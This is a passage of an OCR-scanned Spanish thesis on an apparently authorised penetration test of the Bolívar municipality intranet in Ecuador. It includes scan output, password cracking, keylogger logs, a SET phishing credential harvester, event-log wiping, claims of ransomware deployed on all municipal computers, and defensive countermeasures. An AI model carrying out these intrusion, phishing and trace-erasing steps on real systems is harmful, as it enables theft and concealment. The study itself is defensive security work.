www.municipiobolivar.gob.ec
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Figura 40: Andlisis con la herramienta Domain Dossier

Domain DOSSier Investigate domains and IP addresses

domain or IP address | municipiobolivar.gob.ec |

M domain whois record

M network whois record

Figura 41: DNS records

DNS records

DNS query for 160.202

name
municipiobolivar.gob.

municipiobolivar.gob.

municipiobolivar.gob.
municipiobolivar.gob.
municipiobolivar.gob.

municipiobolivar.gob.

ecC

eC

eC

ec

ec

M DNS records M traceroute
M service scan g0 )

.16.154.in-addr.arpa returned an error from the server: NameError

class type data

IN
IN

IN
IN
IN
IN

time to live

TXT wv=spfl +a +mx +ip4:154.16.202.160 ~all 14400s
MX preference: 0 14400s

exchange: municipiobolivar.gob.ec
A 154.16.202.160 14400s
NS ns2.virtualsami.com 86400s
NS nsl.virtualsami.com 86400s
SOA  gerver: nsl.virtualsami.com 86400s

email: mafla.amanda@gmail.com

serial: 2022071903

refresh: 3600

retry: 1800

expire: 1209600

minimum ttl: 86400

Figura 42: Analisis de saltos con Traceroute

Traceroute

Tracing route to municipiobolivar.gob.ec [154.16.202.160]...

hop rit rtt

1 1
2 1
3 0
4 2 3
5 25 *
6 * a7
7 112 112
8 124 124
9 123 122
10 * H

11 126 126

Trace complete

rtt

W o e e

46

123

126

ip address
169.254.158.58
169.48.118.158
169.48.118.130
169.45.18.40
169.45.18.5
50.97.17.49
169.45.19.47
50.97.19.190
169.45.18.167

154.16.202.160

fully qualified domain name

(04:00:00)
(04:00:00)

(04:00:00)

(1.00:00:00)
(1.00:00:00)
(1.00:00:00)

ael03.ppro2.dalli3.networklayer.com

82.76.30a9.ip4.static.sl-reverse.com

ael6.cbs02.dr01.dal04.networklayer.com

ae2.chs01.2q01.chi0l.networklayer.com

ae0.cbs02.t101.nyc01.networklayer.com

ael.cbs01.tg01.lon01.networklayer.com

ae0.cbs01.xn01.fra01.networklayer.com

a7.12.2da9.ip4.static.sl-reverse.com
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Figura 43: Servicio de Escaneo de puertos

Service scan

1§:42:04

+0100

FTP - 21 Error: ConnectionRefused
SMTP - 25 220-154-16-202-160.cprapid.com ESMTF Exim 4.9%6 #2 Fri, 03 Mar 2023
220-We do not authorize the use of this system to transport unsclicited,
220 and/or bulk e-mail.
421 154-16-202-160.cprapid.com lost input connection
HTTP - 80 HTTP/1.1 301 Moved Permanently
Date: Fri, 03 Mar 2023 17:42:05 GMT
Server: Zpachs
Location: https://municipicbolivar.gob.ec/
Connection: close
Content-Type: text/html; charset=isc-8859-1
POP3 -110 +0K Dovecot ready.
IMAP - 143 * OF [CRPABILITY IMARP4rev]l SASL-IR LOGIN-REFERRALS ID ENABLE IDLE NAMESPACE LITERAL
HTTPS - 443 Error: A call to SSPI failed, see inner exception
--end --

4.2.3.5 Reconocimiento activo superficial

En esta parte se identifica puntos clave con relacion directa al objetivo, con el objetivo de

encontrar actividad y asi realizar un andlisis mas profundo

Figura 44: Andlisis en profundidad con Maltego
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learn.microsoft.com

robertheaton.com
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www WW
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4.2.3.6 Reconocimiento activo en profundidad

Aqui, los objetos previamente identificados se utilizan para la ejecucién. Se comprueba puertos,
protocolos y servicios disponibles y principalmente, que tan actual esta el software instalado en
estos.

Figura 45: Andlisis de Sistemas Operativos instalados

Nmap scan report for ESTEBANHERRERA (192.168.0.125)

Host 1s up { latency).

Not shown: 998 filtered ports
PORT  STATE SERVICE

1042/tcp open afrog

6%), Juniper SRX
' Microsof
ows 10
No exact 05 matches for host (test conditions non-ideal).
Network Distance: 1 hop

Figura 46: Ataques de contrasefias a Sistemas Operativos con Windows 10

ophcrack

admin

31d6cfendl...

E : ~. -
> L d v ®» @ @ o
Load _ Delete Save _ Tables Crack Help Exit About
Progress | Statistics | Preferences |
User ' | LMHash | NTHash | LMPwdl LM Pwd 2 NT Pwd
*disabled* A... 31d6cfendl... empty
*disabled* |... empt

123456

Table

Directory

Status

Progress

- @ Vista p... j/fmedia/sr0/...

100% In RAM

Preload: Brute force: Pwd found: Time elapsed: | 0h 5m 355
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4.2.3.7 Andlisis de vulnerabilidades

Comienza a identificar posibles vulnerabilidades en la infraestructura instalada y sus
componentes de software, lo cual es un paso critico en el analisis ya que se pueden eliminar
algunos falsos positivos.

4.2.3.8 Explotacion o ataque puro

La explotacion o ataque puro es una fase crucial en el hacking ético, que se lleva a cabo despues
de haber recopilado informacion y realizado un analisis de vulnerabilidades sobre el objetivo
en cuestion. Esta fase se lleva a cabo dentro de la metodologia de Offensive Security, que se
enfoca en utilizar técnicas y herramientas similares a las que utilizaria un atacante
malintencionado para identificar y explotar vulnerabilidades en los sistemas objetivo.

La explotacion o ataque puro se basa en el intento de aprovechar las debilidades encontradas
para lograr acceder a un sistema o red, obtener informacion sensible o causar dafio al objetivo
en cuestion. Esta fase es muy importante, ya que permite al equipo de hacking ético demostrar
la efectividad de las vulnerabilidades encontradas y comprobar si pueden ser explotadas para
lograr un acceso no autorizado.

Figura 47: Robo y espionaje de informacién con un Keylogger

' log: Bloc de notas

Archivo  Editar ~ Ver

Key.ctrl 1Key.alt 1Key.deletekey.ctrl 1\xdeKey.ctrl 1\x@3[ENTER]Key.ctrl 1\x16[ENTER]Key.caps locknkey.caps locko se mostrara
ninukey.backspacegukey.backspaceuna pantalla Key.backspace, todo lo que se vaya escribientKey.backspacedo se
IKey.backspaceregskey. backspaceistrara en un Key.caps lockkey.caps lockarchivo de text Key.backspaceokey.shift r:[ENTER]

Key.caps_locklKey.caps locka pKey.backspaceaplicacion correra en segundo plano Key.backspacekey.shift r:Key.delete

Figura 48: Robo de informacion del Disco local C
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Figura 50: Infeccion con virus creado en Python
f Ordena

HACKED |

! Tu Ordenador esta INFECTADO!!

Aceptar

Figura 51: Uso de la herramienta settoolkit

@ KALILINX [Corriendo] - Oracle VM VirtualBox

Archivo Maéquina Ver Entrada Dispositivos Ayuda

’Q [~ ' QE Ev\ D * | root@esteban: /home/e... 08:14PM O
; root@esteban: /home/estebanh

Archivo Acciones Editar Vista Ayuda

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com

Figura 52: Seleccién de la opcion website attack vectors

A m92%

a8 G
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ear-Phishing Attack Vectors

Infectious Media Generator
a Payload and Listener

20 m o~

=

L attack Vectors
Third Party Modules

L+l
0

Return back to the main menu.

Method
Exploit Method
Attack Method
Tabnabbing Att ethod
Veb Jacking Attack Method
Multi k Webh Method
HTA Attack Method

Return to Mainm Menu

ential Harveste: o Webmail Login

LWebrnail

Email Address

Enter your email address

Password

Enter your email password

Reset Password

Al cestina dansk Deutsch EMnvika English espafiol espaiiol latinoamericano

Para este ataque creamos un formulario falso en un sitio web que parece legitimo pero que en
realidad envia los datos a un servidor controlado por el atacante. Cuando los empleados del
municipio ingresan su informacién personal en el formulario y hacen clic en "Enviar”, la
informacion se envia a través de una solicitud POST a un servidor malicioso, lo que permite

que el atacante obtenga acceso a los datos.
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4.2.3.9 Borrado del rastro
Los pasos tipicos que se siguen para realizar un borrado de rastro en la metodologia de
Offensive Security:
» Identificacion de los activos sensibles: Antes de comenzar con el borrado de rastro, es
importante identificar todos los activos sensibles que se han manipulado durante la
evaluacion. Esto puede incluir credenciales de inicio de sesion, archivos de

configuracién, registros de actividad, etc.

Tabla 21. Ordenadores manipulados

TIPO DE ORDENADOR CANTIDAD
Servidores 2
Ordenadores 38
Ordenadores en el area de tics 2

» Eliminacion de los activos sensibles: Una vez identificados los activos sensibles, es
necesario eliminarlos de manera segura y definitiva. Esto puede implicar la eliminacion
de archivos, bases de datos, o incluso el formateo completo de los discos duros.

» Borrado de los registros y las trazas: Ademas de eliminar los activos sensibles, es
necesario borrar todas las trazas que se hayan dejado durante la evaluacién. Esto puede
incluir registros de actividad, historiales de navegacion, archivos de configuracion, etc.

» Limpieza de la memoria y los cachés: Es importante asegurarse de que no se hayan
guedado rastros de la evaluacion en la memoria o los cachés de los sistemas evaluados.
Para ello, se pueden utilizar herramientas de limpieza de memoria o incluso reiniciar
completamente los sistemas.

» Verificacion de la eliminacion de los rastros: Una vez completado el borrado de rastro,
es importante verificar que no se hayan dejado rastros de la evaluacion. Esto puede

implicar revisar los registros de actividad.

Figura 55: Seguridad en el visor de eventos
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@ Visor de eventos

Archivo  Accidn  Ver  Ayuda

UL AR}l

E Visor de eventos (local)
’ Q Vistas personalizadas
v __; Registros de Windows
{] Aplicacion
{] Sequridad
=] Instalacion
@ Sistema
{5] Eventos reenviados
» B Registros de aplicaciones y s
_3 Suscripciones

Seguridad

Palabra..

A, Audit..
A Audit..
A Audit.
A, Audit..
A Audit..
A, Audit..
A audit..
A, Audit..
A, Audit..
A, Audit..
A, Audit..

Nimero de ever

Fechay hora

13/2/2023 13:57:38
13/2/2023 13:57:38
13/2/2023 13:57:38
13/2/2023 13:57:38
13/2/2023 13:57:38
13/2/2023 13:5416
13/2/2023 13:54:16
13/2/2023 13:5416
13/2/2023 13:54:16
13/2/2023 13:54:16
13/2/2023 13:54:16

Nuevos eventos

Origen

Micros...
Micros...
Micros...
Micros...
Micros...
Micros...
Micros...
Micros..
Micros...
Micros...
Micros...

Id. del e..
4798
4798
4798
4798
4798
4798
4798
4798
4798
4798
4798

Catego..
User Ac..
User Ac..
User Ac..
User Ac..
User Ac...
User Ac..
User Ac..
User Ac..
User Ac...
User Ac..
User Ac..

Evento 4798, Microsoft Windows security auditing.

General

Detalles

Se enumero la pertenencia a grupos locales de un usuario.

Nombre de registro:  Seguridad
I

Busca un evento que coincida con la cadena especificada.

Figura 56: Borrado de registro de seguridad

Visor de eventos

= Abrir registro guardado..
W Crearvista personalizada..
Importar vista personalizada..
Vaciar registro...

Filtrar registro actual..
Propiedades

Buscar..

Guardar todos los eventos como..

e i «

Adjuntar tarea a este registro..
Ver 4

Actualizar

=5 i)

Ayuda 4

Propiedades de evento
@ Adjuntar tarea a este evento..

E2 Copiar 14

Puede guardar los contenidos de este registro antes de borrarlo.

[ Guardar y borrar ]

Borrar

Figura 57: Verificacion de borrado de huellas

Cancelar

I —
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& Visor de eventos

Archivo  Accion  Ver  Ayuda

s 2@ BB
{2] Visor de eventos (local) Seguridad  Numero de eventos: 1 Acciones
3 Vistas personalizadas _ .
« [k Registros de Windows Ealabras dave Fecha y hora Origen Id. del evento  Categoria dela... Seguridad
] Aplicacion 9 Auditoria cor..  28/2/2023 19:39:42 Eventlog 1102 Borrado del regi.. = Abrir registro guardado..
{+] seguridad ¥ Crear vista personalizada..
| Instalacio
—| nstalacion Importar vista personalizada..
.—| Sistema
[E] Eventos reenviados Vaciar registro..
Registros de aplicaciones y s¢ ¥ Filtrar registro actual...
L s .
2. Suscripciones \ -l Propiedades
B@ Buscar..
H Guardar todos los eventas como...
Adjuntar tarea a este registro...
Ver 4
Evento 1102, Eventlog x g
G Actualizar
General Detall
etates H ryuda 4
Se borrd el registro de auditoria. I Evento 1102, Eventlog -
,,,,,,,
|=] Propiedades de evento
Nombre de registro:  Sequridad @ .
9] Adjuntar tarea a este evento...
Origen: Eventloa Registrado: 28/2/2023 19:39:42 .
I 5 Copiar 4

4.2.3.10 Reportes

Al final de la metodologia se llega a esta fase en donde, la informacion recopilada se estructura
para crear informes de gestion e informes técnicos para el area de TIC. Aqui se consolidara la
informacion obtenida, se obtiene la informacion detallada de los resultados obtenidos no solo a
nivel de prueba, sino también en las entrevistas, hallazgos y todo el proceso de evaluacion a
nivel general.

El reporte se enfoca en la generacion de un informe para el cliente que va de la siguiente manera:
en lenguaje cotidiano, sin utilizar términos técnicos en lo posible, demostrando la lo encontrado
en base a los objetivos planteados durante la planeacion. Sus fortalezas y debilidades se
destacan junto con las recomendaciones basicas sobre como corregir las vulnerabilidades

identificadas.

INTRODUCCION

En un mundo cada vez méas conectado, la seguridad de la informacién se ha convertido en un
aspecto critico para empresas y organizaciones de todo tipo. Las amenazas cibernéticas estan
en constante evolucion, y los ciberdelincuentes estan siempre buscando nuevas formas de
explotar vulnerabilidades en los sistemas y redes.

Es por ello por lo que la metodologia de seguridad ofensiva o offensive security se ha convertido
en una herramienta indispensable para detectar, evaluar y corregir las vulnerabilidades en
sistemas y redes de una organizacion. Esta metodologia se enfoca en poner a prueba los sistemas
y redes, simulando los ataques de los ciberdelincuentes para identificar debilidades y

vulnerabilidades antes de que puedan ser explotadas.
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En este informe, se presenta los resultados la prueba de penetracion o andlisis de

vulnerabilidades, realizada utilizando la metodologia offensive security. A través de este

informe, se pretende proporcionar una descripcion detallada de nuestro proceso de analisis, las

vulnerabilidades encontradas y las recomendaciones para su correccion, con el fin de ayudar a

mejorar la seguridad de los sistemas y redes del municipio de Bolivar.

METODOLOGIA

La metodologia Offensive Security es una forma de seguridad informatica que se enfoca en la

evaluacion proactiva y en la simulacion de ataques cibernéticos para detectar vulnerabilidades

en los sistemas y redes de una organizacion. El objetivo es identificar debilidades antes de que

sean explotadas por ciberdelincuentes y proporcionar recomendaciones para su correccion.

Tabla 22. Herramientas de Hacking ético aplicadas

Nmap Esta herramienta ayudo a la investigacién escanear los puertos abiertos
Consola para celular basada en Linux, importante para emplear multiples
Termux herramientas que se encuentran en una computadora, pero con la facilidad
de tenerlo en un teléfono celular.
Con esta herramienta se prob6 el robo de informacién a usuarios que estén
Keylogger o
escribiendo en sus ordenadores.
Herramienta muy Util para conocer las contrasefias de los equipos y acceder
OPH-CRACK
a estos.
Con este virus infectamos a todos los ordenadores del Gad Municipal de
Ransomware )
Bolivar
Virus Este virus programado en Python se implanto en todos los ordenadores del
Informatico | Gad municipal, en donde el antivirus principal Bit defender no lo detecto.
Maltego Fue de suma importancia para obtener informacion acerca del municipio.
La herramienta Wireshark fue utilizada para una variedad de propositos,
entre ellos:
e Andlisis de problemas de red: Wireshark permite a los
WireShark administradores de redes resolver problemas, como latencia,

pérdida de paquetes, retransmisiones, congestion y otros errores.
e Analisis de seguridad: Se la utilizo como herramienta de analisis de

seguridad para detectar y prevenir posibles ataques de seguridad.
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e Permitio analizar el tréfico de red y detectar posibles amenazas,
incluyendo ataques de denegacion de servicio (DDoS), intentos de

intrusion y malware.

USB roba

informacion

Esta herramienta ayudo a sustraer informacion muy valiosa de todos los

equipos informaticos de municipio de Bolivar

Tabla 23. Solucidn a las herramientas empleadas

Nmap

e Filtrar y bloguear el trafico de entrada no autorizado en nuestro
firewall o router: Es importante configurar correctamente las reglas
de nuestro firewall para permitir el trafico sélo de los puertos que
necesitamos y bloquear los demas.

e Ocultar nuestra red: Podemos configurar nuestro router o firewall
para que no envie respuestas a los paquetes enviados por Nmap, de
manera que Nmap no pueda detectar los hosts en nuestra red.

e Cambiar los puertos por defecto de los servicios: Nmap escanea los
puertos por defecto para encontrar los servicios en nuestra red. Si
cambiamos los puertos por defecto de nuestros servicios, podemos
dificultar la tarea de Nmap.

e Configurar los servicios para que no respondan a los paquetes de
Nmap: Podemos configurar los servicios en nuestra red para que no
respondan a los paquetes enviados por Nmap.

e Utilizar herramientas de deteccion de escaneo: Podemos utilizar
herramientas de deteccidn de escaneo, como Snort o Suricata, para
detectar y bloquear el trafico de Nmap en nuestra red.

En general, la mejor manera de evitar que escaneen nuestra red con

Nmap es asegurarnos de tener una configuracion adecuada y

actualizada en nuestro firewall o router, asi como mantener nuestros

servicios y sistemas actualizados y seguros. Tambien es importante
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mantenernos al dia sobre las Gltimas técnicas y herramientas utilizadas

por los ciberdelincuentes para proteger nuestra red de manera efectiva.

Keylogger

Para protegerse de un keylogger, se pueden tomar varias medidas, entre

ellas:

Utilizar software antivirus y anti-malware: Los programas antivirus
y anti-malware pueden detectar y eliminar la mayoria de los
keyloggers antes de que puedan causar dafio.

Utilizar un teclado virtual: Un teclado virtual es una herramienta
que permite escribir mediante clics en una imagen del teclado en
pantalla, lo que puede ayudar a evitar la captura de pulsaciones de
teclas por parte de un keylogger.

Mantener el software actualizado: Mantener actualizado el sistema
operativo y todos los programas instalados, incluyendo el software
de seguridad, puede ayudar a protegerse de las vulnerabilidades que
los keyloggers pueden explotar.

Utilizar contrasefias fuertes: Las contrasefias fuertes y unicas
dificultan la tarea de los keyloggers, ya que es mas dificil
adivinarlas o interceptarlas.

No hacer clic en enlaces sospechosos: No hacer clic en enlaces
sospechosos o desconocidos en correos electronicos o mensajes de
texto puede ayudar a evitar la descarga e instalacion de un
keylogger.

Desactivar servicios innecesarios: Desactivar servicios y programas
innecesarios puede ayudar a reducir la superficie de ataque y
disminuir la probabilidad de que un keylogger se instale en el
sistema.

Utilizar una herramienta de deteccion de keyloggers: Las
herramientas de deteccion de keyloggers pueden detectar y eliminar
los keyloggers en nuestro sistema.

En general, la prevencion y deteccion temprana son las mejores

formas de protegerse de los keyloggers.
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OPH-CRACK

Para protegerse de OPHCRACK, se pueden tomar varias medidas, entre

ellas:

Utilizar contrasefias seguras: Utilizar contrasefias largas, complejas
y Unicas puede dificultar la tarea de los atacantes que intentan
utilizar OPHCRACK para recuperarlas.

Cambiar las contrasefias regularmente: Cambiar las contrasefias
regularmente puede ayudar a mantener la seguridad de las cuentas
y reducir la probabilidad de que OPHCRACK pueda recuperarlas.
Utilizar la autenticacion multifactorial: La autenticacion
multifactorial, que combina dos o méas formas de autenticacion,
puede ayudar a proteger las cuentas incluso si un atacante es capaz
de recuperar la contrasefa.

Utilizar software de deteccion de ataques: El uso de software de
deteccidn de atagques, como un sistema de deteccidn de intrusiones
(IDS) o un sistema de prevenciéon de intrusiones (IPS), puede
ayudar a detectar y bloquear los intentos de uso de OPHCRACK.
Mantener el software actualizado: Mantener el sistema operativo y
todos los programas instalados actualizados, incluyendo el software
de seguridad, puede ayudar a protegerse de las vulnerabilidades que
OPHCRACK podria explotar.

Utilizar la encriptacion de disco: La encriptacion de disco puede
ayudar a proteger la informacion almacenada en el disco duro,

incluso si OPHCRACK es capaz de obtener acceso al sistema.

Ransomware

Para protegerse de un ransomware, se pueden tomar varias medidas, entre

ellas:

Mantener el software actualizado: Mantener el sistema operativo y
todos los programas instalados actualizados, incluyendo el software
de seguridad, puede ayudar a protegerse de las vulnerabilidades que
los ransomware podrian explotar.

Utilizar software antivirus y anti-malware: Los programas antivirus
y anti-malware pueden detectar y eliminar la mayoria de los

ransomware antes de que puedan causar dafio.
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Utilizar software de prevencion de ransomware: Algunos
programas de seguridad incluyen herramientas de prevencion de
ransomware que pueden ayudar a detectar y bloquear el malware
antes de que cifre los archivos.

Hacer copias de seguridad: Hacer copias de seguridad regulares de
los archivos importantes y almacenarlas en un lugar seguro, fuera
del alcance del equipo infectado, puede ayudar a recuperar los
archivos en caso de que se infecten con ransomware.

Desconfiar de correos electronicos sospechosos: Los ransomware a
menudo se propagan a través de correos electrénicos de phishing o
mensajes de texto que incluyen enlaces o archivos adjuntos
maliciosos. Es importante no abrir correos electronicos
sospechosos o hacer clic en enlaces o descargar archivos de fuentes
no confiables.

Utilizar contrasefias seguras: Utilizar contrasefias seguras y unicas
puede dificultar la tarea de los atacantes que intentan acceder al
sistema para instalar ransomware.

Desactivar servicios innecesarios: Desactivar servicios y programas
innecesarios puede ayudar a reducir la superficie de ataque y
disminuir la probabilidad de que el ransomware se instale en el

sistema.

Virus

Informatico

Para protegerse de un virus informatico, se pueden tomar varias medidas,

entre ellas:

Mantener el software actualizado: Mantener el sistema operativo y
todos los programas instalados actualizados, incluyendo el software
de seguridad, puede ayudar a protegerse de las vulnerabilidades que
los virus podrian explotar.

Utilizar software antivirus y anti-malware: Los programas antivirus
y anti-malware pueden detectar y eliminar la mayoria de los virus

antes de que puedan causar dafo.
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e Utilizar cortafuegos: Los cortafuegos pueden ayudar a bloquear el
acceso no autorizado a su equipo y reducir la probabilidad de
infeccion por virus.

e Desconfiar de correos electrénicos sospechosos: Los virus a
menudo se propagan a través de correos electrénicos de phishing o
mensajes de texto que incluyen enlaces o archivos adjuntos
maliciosos. ES importante no abrir correos electronicos
sospechosos o hacer clic en enlaces o descargar archivos de fuentes
no confiables.

e Utilizar contrasefias seguras: Utilizar contrasefias seguras y Unicas
puede dificultar la tarea de los atacantes que intentan acceder al
sistema para instalar virus.

e Desactivar servicios innecesarios: Desactivar servicios y programas
innecesarios puede ayudar a reducir la superficie de ataque y
disminuir la probabilidad de que el virus se instale en el sistema.

e Realizar copias de seguridad regulares: Hacer copias de seguridad
regulares de los archivos importantes y almacenarlas en un lugar
sequro, fuera del alcance del equipo infectado, puede ayudar a

recuperar los archivos en caso de que se infecten con virus.

USB roba

informacion

Para protegerse de una unidad flash USB que roba informacion, se pueden
tomar las siguientes medidas:

e Utilizar unidades flash de confianza: Utilice solo unidades flash de
confianza y evite utilizar unidades flash desconocidas o de origen
desconocido.

o Utilizar software de seguridad: Utilice software de seguridad para
escanear y proteger su computadora contra amenazas de malware y
virus, incluyendo aquellos que puedan estar en una unidad flash
USB.

e Deshabilitar la ejecucion automatica: Deshabilite la ejecucion
automatica de la unidad flash USB en su computadora para evitar
que se ejecute automaticamente el malware o virus que pueda estar

en ella.
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e Mantener el software actualizado: Mantenga el sistema operativo,
los programas y el software de seguridad actualizados para
protegerse de las vulnerabilidades de seguridad conocidas.

e Utilizar cifrado: Utilice cifrado para proteger los datos sensibles en
su computadora y en la unidad flash USB.

e No insertar unidades flash desconocidas: Evite insertar unidades
flash desconocidas o sospechosas en su computadora, ya que

pueden ser utilizadas para robar informacion o instalar malware.

4.3. DISCUSION

La discusién se centra en el objetivo de la investigacion, Evaluar con hacking ético
vulnerabilidades en la intranet del municipio del cantén Bolivar , mediante la recoleccion de
informacion y pruebas de penetracion. La metodologia utilizada fue Offensive Security, y se
aplicaron diversas herramientas como, Nmap, Maltego, Nessus, Oph - Crack, Domain Dossier,
DNS Dumpster entre otras, para manejar la configuracion y desarrollo, la identidad, la
validacion de entradas y otras actividades que reforzaron la seguridad de los equipos del
municipio. Después de identificar y evaluar las vulnerabilidades, se establecieron las amenazas
mas graves y se propusieron medidas para reducir estos riesgos. El resultado final fue un
aumento de la seguridad de los ordenadores del municipio de Bolivar.

Comparado con investigaciones previas, este estudio se centrd en técnicas y herramientas
innovadoras para identificar y diagnosticar los problemas de seguridad, en lugar de
simplemente realizar pruebas de penetracion. Ademas, el estudio realizd un criterio de
vulnerabilidad para identificar las amenazas mas graves para los ordenadores, 1o que es
importante para evitar dafios y ataques. Los manuales fueron claves para detectar y disminuir
las vulnerabilidades de los equipos, incluyendo contrasefias débiles, malas configuraciones,
certificaciones inexistentes, procesos mal configurados, entre otros. En conclusion, la
investigacion propone medidas con el propdsito de aumentar la seguridad de los sistemas

informaticos y disminuir los riesgos a dafios y ataques.
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5.1.

5.2

V. CONCLUSIONES Y RECOMENDACIONES

CONCLUSIONES

La revision de documentos previos fue crucial para desarrollar una metodologia
adecuada y seleccionar herramientas de hacking ético optimas. Esto permitio el disefio
y presentacion de manuales de hacking ético para la proteccion del municipio de
Bolivar.

La aplicacion del hacking ético en la intranet del GAD Municipal de Bolivar, a traves
de la metodologia Offensive Security, permitio identificar y corregir vulnerabilidades
en la red interna, mejorando asi la seguridad informatica de la organizacion. La
implementacién de Python en estas pruebas de penetracion proporciond una alta
eficiencia y precision en la deteccion y mitigacion temprana de vulnerabilidades, lo que
es crucial para proteger los sistemas informaticos.

Luego de brindar una capacitacion acerca de seguridad informética y hacking ético en
el municipio de Bolivar, se puede concluir que esta actividad fue altamente valiosa y
beneficiosa trabajadores del municipio. Al proporcionar conocimientos fundamentales
sobre los riesgos y las amenazas de seguridad en el mundo digital, se espera que los
participantes estén mejor equipados para proteger sus dispositivos y datos personales
contra ataques cibernéticos. Ademas, la capacitacion sobre hacking ético brind6 a los
participantes una comprension mas profunda de como los atacantes pueden explotar
vulnerabilidades en los sistemas informaticos y cémo se puede utilizar este

conocimiento para proteger y mejorar la seguridad del municipio.

RECOMENDACIONES

Se recomienda que se implemente una metodologia de seguridad adecuada que se adapte

a sus necesidades y caracteristicas especificas. Algunas de las metodologias mas

utilizadas en la industria de la seguridad informatica incluyen ISO/IEC 27001, PCI DSS

y OWASP.

Realizar pruebas regulares: Los peligros informaticos se encuentran en un proceso

continuo de transformacion y progreso, por lo que se recomienda realizar pruebas

regulares de hacking ético para mantener la seguridad del municipio actualizada.

Para protegerse contra el phishing y la suplantacion de identidad en la web. Se

recomienda nunca compartir informacion confidencial, como contrasefias o datos
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bancarios, a través de enlaces o correos electronicos no verificados. Verificar siempre
la autenticidad de los sitios web antes de ingresar los datos personales. Mantener los
sistemas y software actualizados para prevenir vulnerabilidades.

Al realizar pruebas de pentesting, es fundamental mantener un alto nivel de ética y
profesionalismo, ya que toda la informacion que se obtenga debe ser tratada de manera
confidencial y no debe ser utilizada en perjuicio de la organizacion objetivo. Es
importante respetar la privacidad y confidencialidad de la entidad, y garantizar que
cualquier informacion sensible que se encuentre sea manejada de forma segura y
responsable. Ademas, es crucial que cualquier vulnerabilidad descubierta sea informada
a la organizacién de manera oportuna y se brinde asesoramiento para solucionar el

problema.
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f TRIBUNAL

MSC. Jairo Viadimir Hidalg
DOCENTE
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Anexo 2. Certificado del abstract por parte de idiomas

UNIVERSIDAD POLITECNICA ESTATAL DEL CARCHI
FOREIGN AND NATIVE LANGUAGE CENTER

ABSTRACT- EVALUATION SHEET

MNAME: Esteban Emilio Herrera Enrigquez
DATE: 24 de mayo de 2023

TOPIC: “Hacking &tico para detectar vulnerabilidades en los servicios de la intranet”
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mnd suspporting . supporting paragraphs.
pha. supporting paragraphs. paragraphs.
EXCELLENT: 2 @Doo: 1.5 ANERBGE: 1 LIMITED: Q5

The messape has beemn
communscated wery

The messape has been
commuanicaked

Some of the message
has been

The message hasn't
been commiunicated

ARGLUBENT 2 nnd identify the .appr!:mt:hmd :nrnrrmnl:atcl:!abd the and the type of text i
; o Bexct identify the type of type of text = Fitle inadeguate
et confusine
EXCELLENT: 2 @Doo: 1.5 ANERBGE: 1 LIMITED: Q5
[ ]
CREATIVITY Outstanding Ao of Good Aoy of ideas and | Bverape flow of ideas | Poor flow of ideas and
ideas and events Events ard ewenits ety
EXCELLENT: X QooD: 1,5 .A.'n'EH.‘I.GE: 1 LIMITED: Q.5
Reasonable, specific .
Mlinor errors whan Some errors whan Laots of errors when
SCIENTIFIC and umportable supporting the thesis | supporting the thesis = riing the thess
SUSTAINABILITY opinion or thesis Rparing Rparing REariang
statement statement staterment
skatement
EXCELLENT: 2 a@Doo: 1.5 .A.'n'EH.ﬂ.GE: 1 LIMITED: Q5
- 10: EXCELLENT
TOTAL/AWERAGE  7-85 GOOD TOTALS,5
5-59 AVERAGE
-85 LMNITED
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UNIVERSIDAD POLITECNICA ESTATAL DEL
CARCHI FOREIGN AND NATIVE LANGUAGE
CENTER

Informe sobre el Abstract de Articulo Cientifico o Investigacion.

Autor: Esteban Emilio Herrera Enriguez
Fecha de recepcién del abstract: 24 de mayo de 2023

Fecha de entrega del informe: 24 de mayo de 2023

El presente informe validara la traduccidn del idioma espanol al inglés si alcanza un
porcentaje de: 9 — 10 Excelente.

Si la traduccidn no esta denfro de los paramefros de 9 — 10, el autor debera
realizar las observaciones presentadas en el ABSTRACT, para su posterior

presentacion vy aprobacion.

Observaciones:
Después de realizar la revision del presente abstract, éste presenta una
apropiada traduccion sobre el tema planteado en el idioma Inglés. Segun los

rubrics de evaluacion de la traduccion en Inglés, €sta alcanza un valor de 9 por

lo cual se validad dicho trabajo.

Atentamente

:-: EDISON SOAMERGES
1" PERAFIEL ARCODS

Ing. Edison Penafiel Arcos MSc
Coordinador del CIDENM
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Anexo 3. Informe de antiplagio

Tesis Final

INFORME DE ORIGINALIDAD

1, 1s Oy 0y

INDICE DE SIMILITUD FUENTES DE INTERNET ~ PUBLICACIONES TRABAJOS DEL
ESTUDIANTE

FUENTES PRIMARIAS

repositorio.unesum.edu.ec 'I "
0

Fuente de Internet

Excluir citas Excluir coincidencias

Excluir bibliografia
Anexo 4. Enfrevista aplicada al jefe de Tics del municipio de Bolivar

& ENTREVISTA DIRIGIDA AL ENCARGADO DE LA OFICINADE TICSDEL 5

toWFﬁ?Kéén
MUNICIPIO DE BOLIVAR. S
v

El propdsito de las entrevistas es recopilar datos relacionados con variables dependientes e
independientes. La informacién recopilada se relaciona con procesos de seguridad para mejorar
y proteger al municipio contra ataques informaticos.
1- ¢Como se maneja la seguridad en el servidor que maneja el GAD municipal de
Bolivar?
Se maneja con un antivirus, que tiene su propio firewall. A futuro se colocara un firewall fisico
de capa 2 para controlar el trafico de redes y equipos dentro de la red, aungue estos tienen

costos elevados.
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2- ¢Como funcionario ha experimentado o detectado fallas o avisos sobre ataques
informéticos en el municipio?
Si, inicialmente las redes wifi y los puntos fisicos estaban abiertos, ataques informaticos desde

afuera, existia demasiados virus.

3- ¢Cual es la metodologia utilizada para crear los procedimientos de seguridad y
prevenir vulnerabilidades?

No se tiene ninguna metodologia.

4- ¢ Qué sistema operativo maneja el servidor del GAD municipal de Bolivar?
Existen 3 servidores uno es Windows server 2008, CentOS 7 y Windows 10 clon,

Son 2 servidores dedicados y un clon.

5- ¢Cuénto tiempo toma aproximadamente el proceso de analisis de vulnerabilidades
0 prueba de penetracion en el municipio?

Depende la informacion puede durar de uno hasta dos dias.

6- ¢Qué inconveniente percibid internamente en la seguridad del GAD municipal de
Bolivar?
Redes wifi-abiertas y en estas estaban conectados servidores.
7- ¢Cudles opciones sugeririas para mejorar la seguridad en el Municipio de Bolivar?

Colocar un firewall de capa 2, generar un data center con seguridad perimetral

8- ¢Considera que los sistemas informaticos existentes en el GAD municipal de
Bolivar son seguros?
Actualmente si, ya que se cambid los sistemas operativos a la mayoria de los equipos
informéticos un 99% de equipos esta con Windows 10

9- ¢Esté al tanto si se ha llevado a cabo alguna prueba de intrusién (ethical hacking)
en la intranet del municipio de Bolivar?
En una ocasion se realizo una prueba de intrusion en el afio 2019, escaneo de puertos, testeo

de puertos y acceso a paginas web.
